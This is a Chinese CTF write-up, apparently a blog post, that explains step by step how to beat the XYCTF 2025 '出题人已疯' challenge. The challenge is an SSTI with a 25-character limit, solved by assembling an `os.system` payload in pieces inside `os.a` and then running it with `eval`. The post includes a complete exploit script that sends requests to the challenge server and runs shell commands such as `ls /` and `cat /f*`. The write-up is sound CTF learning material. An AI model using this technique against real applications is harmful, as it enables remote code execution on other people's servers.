[XYCTF 2025 web 出题人已疯]以新手角度快速理解官方exp的解题思路

前言

这是一道非常简洁明了的ssti漏洞题目,就是要求攻击payload长度不得高于25。在LamentXU大佬的官方wp中写道:

“直接往os里塞字符。随后一起拿出来exec。这样子就可以实现SSTI。”

这对于我这种新手来说理解上是非常抽象且困难的。本篇文章我将记录下我以一个新手的角度理解这道题目的过程

原理

由于python的特性,我们可以将变量赋值给os模块中的属性,这个属性可以是自己新定义的,比如像这样

import os  

# 设置环境变量  
os.environ['MY_VARIABLE'] = 'some_value'  

# 获取环境变量  
print(os.environ['MY_VARIABLE'])  # 输出: some_value

这样我们就成功将os中的环境变量属性修改成了some_value。

import os

os.a="abc"

print(os.a)

根据这个原理我们可以完成这个题目

我们来一点一点写这个脚本

import os
 url=""
 payload="__import__('os').system('ls />123')"
 p=[payload[i,i+2] for i in range(0,len(payload),2)]

先准备好我们要塞进变量的payload,然后我们把这段payload分成两个两个一组的片段列表,每组的长度取决于拼接代码的总长度,因为拼接的代码也要在payload处执行,所以整个payload的长度不得长于25。

 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;a+="{i}"'

这一段是我觉得非常巧妙的一个往os.a变量里面塞入字符串的算法,首先令flag的布尔值等于True,然后for i in p遍历p里面的每一个元素,当flag=True的时候,利用a=“{i}”拼接第一个元素进去,此时tmp变量的值为

 \n%import os;os.a="__"

然后将flag的布尔值设置为false,然后利用a+=“{i}”实现往os.a后面拼接剩余字符串的功能。拆分来看就像这样

 \n%import os;os.a="__"
 \n%import os;os.a="__im"
 \n%import os;os.a="__impo"
 \n%import os;os.a="__import"
 ...
 \n%import os;os.a="__import__('os').system('ls />12"
 \n%import os;os.a="__import__('os').system('ls />123'"
 \n%import os;os.a="__import__('os').system('ls />123')"

我们可以本地修改代码运行一下看看运行结果是否和预期相同

import os

payload="__import__('os').system('cat /f*>222222')"

p=[payload[i:i+4] for i in range(0,len(payload),4)]

flag=True
for i in p:
    if flag:
        os.a=i
        flag=False
    else:
        os.a+=i
    print(os.a)

这个代码是将字符串拆分四个为一组,四个四个向里面添加字符串,可以看到效果和我们预期的一样。如果我们修改的是服务器端os的属性值,我们就可以eval(os.a)直接执行塞入的字符串了。

回到这道题目,我们将tmp的内容发送至服务器端运行

 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;a+="{i}"'
     r=requests.get(url,params={"payload":tmp})

这样就成功拼接上了os.a变量。

这里可能会有一个疑问(反正我研究的时候疑惑了)

为什么这里的代码不能这么写

 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;a+="{i}"'
 r=requests.get(url,params={"payload":tmp})

我们看这样运行会发生什么

可以看到报500错,也就是说执行的命令格式是不正确的

为什么会这样,我们可以print一下tmp看看tmp在这两个位置的差异

可以看到print在for循环里面的时候会将payload以每三个字符为一组循环塞入os.a,也就是说在这个位置执行r = requests.get(url,params={"payload":tmp})的作用就是运行这好几条代码将os.a的值改变成我们想要的字符串。

我们再换个位置

可以看到print放在循环外面只会输出payload被分割后的最后一个部分,如果在这里执行r = requests.get(url,params={"payload":tmp})的话被塞入os.a的只会是    '),自然就无法成功eval执行。

明白了这个地方后我们继续往下做

 r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
 r=requests.get(url,params={"payload":"\n%import os;include('123')"}).text
 print(r)

这样我们就成功拿到了ls /命令的回显。

要用写文件不直接执行的原因是没有回显,所以要写入文件再包含

完整exp

 import requests
 ​
 url='http://gz.imxbt.cn:20935/attack'
 ​
 payload="__import__('os').system('ls />123')"
 ​
 ​
 p=[payload[i:i+4] for i in range(0,len(payload),4)]
 flag=True
 for i in p:
     if flag:
         tmp=f'\n%import os;os.a="{i}"'
         flag=False
     else:
         tmp=f'\n%import os;os.a+="{i}"'
     r=requests.get(url,params={"payload":tmp})
 r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
 r=requests.get(url,params={"payload":"\n%include('123')"}).text
 print(r)

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值